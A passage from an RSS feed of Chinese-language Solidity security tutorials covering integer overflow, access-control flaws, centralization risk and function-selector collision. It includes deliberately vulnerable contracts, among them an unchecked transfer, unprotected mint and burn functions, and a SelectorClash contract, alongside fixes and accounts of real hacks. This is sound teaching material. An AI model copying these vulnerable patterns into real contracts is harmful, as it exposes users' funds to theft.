  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) balances;
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> totalSupply;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _initialSupply</span>) </span>{
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> totalSupply <span class="hljs-operator">=</span> _initialSupply;
  }
  
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to, <span class="hljs-keyword">uint</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">unchecked</span>{
        <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span> _value <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _value;
        balances[_to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _value;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _owner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> balance</span>) </span>{
    <span class="hljs-keyword">return</span> balances[_owner];
  }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Remix 复现</h2><ol><li><p>部署 <code>Token</code> 合约，将总供给设为 <code>100</code>。</p></li><li><p>向另一个账户转账 <code>1000</code> 个代币，可以转账成功。</p></li><li><p>查询自己账户的余额，发现是一个非常大的数字，约为<code>2^256</code>。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防办法</h2><ol><li><p>Solidity <code>0.8.0</code> 之前的版本，在合约中引用 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol">Safemath 库</a>，在整型溢出时报错。</p></li><li><p>Solidity <code>0.8.0</code> 之后的版本内置了 <code>Safemath</code>，因此几乎不存在这类问题。开发者有时会为了节省gas使用 <code>unchecked</code> 关键字在代码块中临时关闭整型溢出检测，这时要确保不存在整型溢出漏洞。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了经典的整型溢出漏洞，由于solidity 0.8.0 版本后内置 <code>Safemath</code> 的整型溢出检查，这类漏洞已经很少见了。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S04. 权限管理漏洞]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s04</link>
            <guid>hhRnJarOVXv6pBAmXN0s</guid>
            <pubDate>Wed, 19 Oct 2022 09:59:33 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍智能合约的权限管理漏洞。这个漏洞导致了跨链桥 Poly Network 被黑 6.11 亿美元，并导致了BSC上DeFi项目 ShadowFi 被黑 $300,000。权限管理漏洞智能合约中的权限管理定义了不同角色在应用中的权限。通常来说，代币的铸造、提取资金、暂停等功能都需要较高权限的用户才能调用。如果权限配置错误，就可能造成意想不到的损失。下面我们介绍两种常见的权限管理漏洞。1. 权限配置错误如果合约中特殊功能没有加上权限管理，那么任何人都能铸造大量代币或将合约中的资金提光。跨链桥 Poly Network 的合约中转移守护者的函数没有配置相应权限，被黑客改为自己的地址，从而提走了合约中的 6...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍智能合约的权限管理漏洞。这个漏洞导致了跨链桥 Poly Network 被黑 6.11 亿美元，并导致了BSC上DeFi项目 ShadowFi 被黑 $300,000。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">权限管理漏洞</h2><p>智能合约中的权限管理定义了不同角色在应用中的权限。通常来说，代币的铸造、提取资金、暂停等功能都需要较高权限的用户才能调用。如果权限配置错误，就可能造成意想不到的损失。下面我们介绍两种常见的权限管理漏洞。</p><h3 id="h-1" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">1. 权限配置错误</h3><p>如果合约中特殊功能没有加上权限管理，那么任何人都能铸造大量代币或将合约中的资金提光。跨链桥 Poly Network 的合约中转移守护者的函数没有配置相应权限，被黑客改为自己的地址，从而提走了合约中的 6.11 亿美元。</p><p>在下面的代码中，<code>mint()</code>函数没有进行权限管理，那么任何人都可以调用它铸造代币。</p><pre data-type="codeBlock" text="// 错误的mint函数，没有限制权限
function badMint(address to, uint amount) public {
    _mint(to, amount);
}
"><code><span class="hljs-comment">// 错误的mint函数，没有限制权限</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">badMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    _mint(to, amount);
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e93cd77b9cf2a8ae15ec3023f53a5a10ad50387b0bbe686b6de8e1bf82cd83b7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-2" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">2. 授权检查错误</h3><p>另一类常见的权限管理漏洞是没有在函数中检查调用者是否拥有足够的授权。BSC上DeFi项目 ShadowFi 的代币合约忘了在 <code>burn()</code> 销毁函数中检查调用者的授权额度，导致攻击者可以任意的销毁其他地址的代币。在黑客将流动性池子中的代币销毁之后，仅需卖出一点代币就可以将池子里的所有 <code>BNB</code> 提走，获利 $300,000。</p><pre data-type="codeBlock" text="// 错误的mint函数，没有限制权限
function badBurn(address account, uint amount) public {
    _burn(account, amount);
}
"><code><span class="hljs-comment">// 错误的mint函数，没有限制权限</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">badBurn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    _burn(account, amount);
}
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2545715eb5a5f68945cfc7d73c99ec7ea02eddff44eca5e4fae68ed15e9e88fd.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防办法</h2><p>权限管理漏洞主要有两种预防办法：</p><p>1.使用 Openzeppelin 的权限管理库给合约的特殊函数配置相应的权限，比如使用<code>OnlyOwner</code>修饰器，只有合约所有者才能调用。</p><pre data-type="codeBlock" text="// 正确的mint函数，使用 onlyOwner 修饰器限制权限
function goodMint(address to, uint amount) public onlyOwner {
    _mint(to, amount);
}
"><code><span class="hljs-comment">// 正确的mint函数，使用 onlyOwner 修饰器限制权限</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goodMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    _mint(to, amount);
}
</code></pre><p>2.在函数的逻辑中确保合约调用者拥有足够的授权。</p><pre data-type="codeBlock" text="// 正确的burn函数，如果销毁的不是自己的代币，则会检查授权
function goodBurn(address account, uint amount) public {
    if(msg.sender != account){
        _spendAllowance(account, msg.sender, amount);
    }
    _burn(account, amount);
}
"><code><span class="hljs-comment">// 正确的burn函数，如果销毁的不是自己的代币，则会检查授权</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goodBurn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">if</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> account){
        _spendAllowance(account, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
    }
    _burn(account, amount);
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了智能合约中的权限管理漏洞。它主要有两种形式：权限配置错误和授权检查错误。为了避免这类漏洞，我们要使用权限管理库给特殊函数配置相应的权限，并且在函数的逻辑中确保合约调用者拥有足够的授权。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S03. 中心化风险]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s03</link>
            <guid>mzl3MjVDyoLkpSXVzYtp</guid>
            <pubDate>Sun, 16 Oct 2022 18:52:03 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍智能合约中的中心化和伪去中心化所带来的风险。Ronin桥和Harmony桥因该漏洞被黑客攻击，分别被盗取了 6.24 亿美元和 1 亿美元。中心化风险我们经常以Web3的去中心化为骄傲，认为在Web3.0世界里，所有权和控制权都是去中心化。但实际上，中心化是Web3项目最常见的风险之一。知名区块链审计公司Certik在2021年DeFi安全报告中指出：中心化风险是 DeFi 中最常见的漏洞，2021年中有 44 次 DeFi 黑客攻击与它相关，造成用户资金损失超过 13 亿美元。这强调了权力下放的重要性，许多项目仍需努力实现这一目标。中心化风险指智能合约的所有权是中心化的，例如合约的owner由一个地址控制，它可以随意修改...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍智能合约中的中心化和伪去中心化所带来的风险。<code>Ronin</code>桥和<code>Harmony</code>桥因该漏洞被黑客攻击，分别被盗取了 6.24 亿美元和 1 亿美元。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">中心化风险</h2><p>我们经常以Web3的去中心化为骄傲，认为在Web3.0世界里，所有权和控制权都是去中心化。但实际上，中心化是Web3项目最常见的风险之一。知名区块链审计公司Certik在<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf">2021年DeFi安全报告</a>中指出：</p><blockquote><p>中心化风险是 DeFi 中最常见的漏洞，2021年中有 44 次 DeFi 黑客攻击与它相关，造成用户资金损失超过 13 亿美元。这强调了权力下放的重要性，许多项目仍需努力实现这一目标。</p></blockquote><p>中心化风险指智能合约的所有权是中心化的，例如合约的<code>owner</code>由一个地址控制，它可以随意修改合约参数，甚至提取用户资金。中心化的项目存在单点风险，可以被恶意开发者（内鬼）或黑客利用，只需要获取具有控制权限地址的私钥之后，就可以通过<code>rug-pull</code>，无限铸币，或其他类型方法盗取资金。</p><p>链游项目<code>Vulcan Forged</code>在2021年12月因私钥泄露被盗 1.4 亿美元，DeFi项目<code>EasyFi</code>在2021年4月因私钥泄露被盗 5900 万美元，DeFi项目<code>bZx</code>在钓鱼攻击中私钥泄露被盗 5500 万美元。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">伪去中心化风险</h2><p>伪去中心化的项目通常对外鼓吹自己是去中心化的，但实际上和中心化项目一样存在单点风险。比如使用多签钱包来管理智能合约，几个多签人是一致行动人，背后由一个人控制。这类项目由于包装的很去中心化，容易得到投资者信任，所以当黑客事件发生时，被盗金额也往往更大。</p><p>近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元，是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护，必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样，非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制，而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此，在攻击者获取了 Sky Mavis 的私钥后（具体方法未披露），就可以控制 5 个验证节点，授权盗走了 173,600 ETH 和 2550 万USDC。</p><p><code>Harmony</code>公链的跨链桥在2022年6月被盗 1 亿美元。<code>Harmony</code>桥由5 个多签人控制，很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后，将用户质押的资产盗空。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3d219ae1922f9c021ad71a3f9cace9c8625ffa4fd26b34dac9d3e753584c7073.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞合约例子</h2><p>有中心化风险的合约多种多样，这里只举一个最常见的例子：<code>owner</code>地址可以任意铸造代币的<code>ERC20</code>合约。当项目内鬼或黑客取得<code>owner</code>的私钥后，可以无限铸币，造成投资人大量损失。</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;
import &quot;@openzeppelin/contracts/access/Ownable.sol&quot;;

contract Centralization is ERC20, Ownable {
    constructor() ERC20(&quot;Centralization&quot;, &quot;Cent&quot;) {
        address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2;
        transferOwnership(exposedAccount);
    }

    function mint(address to, uint256 amount) external onlyOwner{
        _mint(to, amount);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.4;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/access/Ownable.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Centralization</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>, <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"Centralization"</span>, <span class="hljs-string">"Cent"</span></span>) </span>{
        <span class="hljs-keyword">address</span> exposedAccount <span class="hljs-operator">=</span> <span class="hljs-number">0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2</span>;
        transferOwnership(exposedAccount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span></span>{
        _mint(to, amount);
    }
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">如何减少中心化/伪去中心化风险？</h2><ol><li><p>使用多签钱包管理国库和控制合约参数。为了兼顾效率和去中心化，可以选择 4/7 或 6/9 多签。如果你不了解多签钱包，可以阅读<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/50_MultisigWallet/readme.md">WTF Solidity第50讲：多签钱包</a>。</p></li><li><p>多签的持有人要多样化，分散在创始团队、投资人、社区领袖之间，并且不要相互授权签名。</p></li><li><p>使用时间锁控制合约，在黑客或项目内鬼修改合约参数/盗取资产时，项目方和社区有一些时间来应对，将损失最小化。如果你不了解时间锁合约，可以阅读<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/45_TokenLocker/readme.md">WTF Solidity第45讲：时间锁</a>。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>中心化/伪去中心化是区块链项目最大的风险，近两年造成用户资金损失超过 20 亿美元。中心化风险通过分析合约代码就可以发现，而伪去中心化风险藏的更深，需要对项目进行细致的尽职调查才能发现。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S02. 选择器碰撞]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s02</link>
            <guid>VajffHZ2c5iNrKWacxT9</guid>
            <pubDate>Wed, 12 Oct 2022 12:34:16 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑的原因之一。在2021年8月，Poly Network在ETH，BSC，和Polygon上的跨链桥合约被盗，损失高达6.11亿美元。这是2021年最大的区块链黑客事件，也是历史被盗金额榜单上第2名，仅次于 Ronin 桥黑客事件。选择器碰撞以太坊智能合约中，函数选择器是函数签名 "<function name>(<function input types>)" 的哈希值的前4个字节（8位十六进制）。当用户调用合约的函数时，calldata的前4字节就是目标函数的选择器，决定了调用哪个函数。如果你不了解它，可以阅读WTF Solidity极简教程第29讲：函数选择...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑的原因之一。在2021年8月，Poly Network在ETH，BSC，和Polygon上的跨链桥合约被盗，损失高达6.11亿美元。这是2021年最大的区块链黑客事件，也是历史被盗金额榜单上第2名，仅次于 Ronin 桥黑客事件。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">选择器碰撞</h2><p>以太坊智能合约中，函数选择器是函数签名 <code>&quot;&lt;function name&gt;(&lt;function input types&gt;)&quot;</code> 的哈希值的前<code>4</code>个字节（<code>8</code>位十六进制）。当用户调用合约的函数时，<code>calldata</code>的前<code>4</code>字节就是目标函数的选择器，决定了调用哪个函数。如果你不了解它，可以阅读<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector/readme.md">WTF Solidity极简教程第29讲：函数选择器</a>。</p><p>由于函数选择器只有<code>4</code>字节，非常短，很容易被碰撞出来：即我们很容易找到两个不同的函数，但是他们有着相同的函数选择器。比如<code>transferFrom(address,address,uint256)</code>和<code>gasprice_bit_ether(int128)</code>有着相同的选择器：<code>0x23b872dd</code>。当然你也可以写个脚本暴力破解。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/236fdf245114f8f7b16cb82b78922d6e9420316a06160ee2e896ead56561cb76.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>大家可以用这两个网站来查同一个选择器对应的不同函数：</p><ol><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.4byte.directory/">https://www.4byte.directory/</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://sig.eth.samczsun.com/">https://sig.eth.samczsun.com/</a></p></li></ol><p>你也可以使用下面的<code>Power Clash</code>工具进行暴力破解：</p><ol><li><p>PowerClash: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/power-clash">https://github.com/AmazingAng/power-clash</a></p></li></ol><p>相比之下，钱包的公钥有<code>256</code>字节，被碰撞出来的概率几乎为<code>0</code>，非常安全。</p><h2 id="h-0xaa" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>0xAA</code> 解决斯芬克斯之谜</h2><p>以太坊的人得罪了天神，天神震怒。天后赫拉为了惩罚以太坊的人，在以太坊的峭崖上降下一个名叫斯芬克斯的人面狮身的女妖。她向每一个路过悬崖的以太坊用户提出一个谜语：“什么东西在早晨用四只脚走路，中午两只脚走路，晚间三只脚走路，在一切生物中这是唯一的用不同数目的脚走路的生物。脚最多的时候，正是速度和力量最小的时候。”对于这个奥妙费解的谜语，凡猜中者即可活命，凡猜不中者一律被吃掉。过路的人全被斯芬克斯吃了，以太坊用户陷入恐惧之中。斯芬克斯用选择器<code>0x10cd2dc7</code>来验证答案是否正确。</p><p>有一天上午，俄狄浦斯路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是<code>&quot;function men()&quot;</code>啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语被猜中后，俄狄浦斯得以生还。</p><p>那一天下午，<code>0xAA</code>路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是<code>&quot;fucntion peopleLduohW(uint256)&quot;</code>啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语再次被猜中后，斯芬克斯气急败坏，脚下一打滑就从巍峨的峭崖上掉下去摔死了。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7f8bda90354a1e2c3c6ecfa4b6ea4911c80cda8c5e7e8a8785623ac34b732f2b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞合约例子</h2><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">漏洞合约</h3><p>下面我们来看一下有漏洞的合约例子。<code>SelectorClash</code>合约有<code>1</code>个状态变量 <code>solved</code>，初始化为<code>false</code>，攻击者需要将它改为<code>true</code>。合约主要有<code>2</code>个函数，函数名沿用自 Poly Network 漏洞合约。</p><ol><li><p><code>putCurEpochConPubKeyBytes()</code> ：攻击者调用这个函数后，就可以将<code>solved</code>改为<code>true</code>，完成攻击。但是这个函数检查<code>msg.sender == address(this)</code>，因此调用者必须为合约本身，我们需要看下其他函数。</p></li><li><p><code>executeCrossChainTx()</code> ：通过它可以调用合约内的函数，但是函数参数的类型和目标函数不太一样：目标函数的参数为<code>(bytes)</code>，而这里调用的函数参数为<code>(bytes,bytes,uint64)</code>。</p></li></ol><pre data-type="codeBlock" text="contract SelectorClash {
    bool public solved; // 攻击是否成功

    // 攻击者需要调用这个函数，但是调用者 msg.sender 必须是本合约。
    function putCurEpochConPubKeyBytes(bytes memory _bytes) public {
        require(msg.sender == address(this), &quot;Not Owner&quot;);
        solved = true;
    }

    // 有漏洞，攻击者可以通过改变 _method 变量碰撞函数选择器，调用目标函数并完成攻击。
    function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){
        (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, &quot;(bytes,bytes,uint64)&quot;))), abi.encode(_bytes, _bytes1, _num)));
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SelectorClash</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> solved; <span class="hljs-comment">// 攻击是否成功</span>

    <span class="hljs-comment">// 攻击者需要调用这个函数，但是调用者 msg.sender 必须是本合约。</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">putCurEpochConPubKeyBytes</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _bytes</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
